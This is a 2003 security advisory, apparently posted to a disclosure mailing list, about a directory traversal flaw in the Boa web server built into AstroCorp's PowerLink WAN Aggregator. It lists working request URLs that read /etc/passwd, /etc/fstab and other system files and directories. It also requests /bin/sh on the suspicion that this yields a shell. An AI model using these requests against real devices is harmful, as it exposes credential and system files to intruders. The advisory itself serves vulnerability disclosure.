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PowerLink WAN Aggregator - Vunerability
From: "morning_wood" <se_cur_ity () hotmail com>
Date: Fri, 9 May 2003 10:52:45 -0700

Vendor: AstroCorp
Website:http://www.astrocorp.com/
Product:PowerLinkT WAN Aggregator
Version: 1.7.3.1

Discoved: 01/10/2003
By: morning_wood
Release Date: 05/07/2003

Exploit Type: Arbitrary reading of files / Directory Transversal / Remote
Shell?

Discription of Product:

"PowerLinkT WAN Aggregator is an Intelligent Link Load Balancing with
Automatic WAN Fail-Over
for 100% Always Available Internet Connectivity!
An interesting way to increase Broadband bandwidth among several
connections.
Simply put - (4) Incoming WAN Ports & (1) LAN port, Web Browser
Configurable.
Balance that Load! Let's see, this device (PowerLink) + Smoothwall.org for
a Hardware Firewall - Nice! PowerLink-Iplus WAN Aggregator for $1,695.00
(8/13/2002)."

Known issues exist in Boa httpd as per:
FreeBSD-SA-00:60 Security Advisory

http://www.securiteam.com/unixfocus/6G0081P0AI.html and
http://lists.insecure.org/lists/bugtraq/2000/Oct/0445.html

 Since this is a hardware based product with a built in httpd for remote
access, this is a
seperate issue than the ones formaly presented above, but carry the same
implications.


Identification:

HTTP/1.0 200 OK
Date: Saturday, 7 January 100 04:23:02 GMT
Server: Boa/0.92r
Connection: close
Keep-Alive: timeout=10, max=10
Content-Length: 4187
Last-Modified: Tuesday, 9 September 102 03:21:14 GMT
Content-Type: text/html

Vunerability / Exploit:

Just issue any of the folowing...

http://somepowerlinkWAN.router/../../../../../../../../../../etc/passwd
http://somepowerlinkWAN.router///etc/passwd
http://somepowerlinkWAN.router/etc/passwd
http://somepowerlinkWAN.router/bin/
http://somepowerlinkWAN.router/dev/
http://somepowerlinkWAN.router/tmp/
http://somepowerlinkWAN.router/etc/fstab
http://somepowerlinkWAN.router/etc/mtab

etc, etc, etc

I am most concerned about this:

http://somepowerlinkWAN.router/bin/sh

as it seems to want send me a shell? ( at least the actual sh bin - rofl )


Vendor contacted: Yes
via: 1-800-669-6242 and acorbuleanu () astrocorp com

Response: Initial Phone Conversation.
Resolve: None as of this date

Credits:
morning_wood - Security Consultant
se_cur_ity () hotmail com 
http://exploit.wox.org


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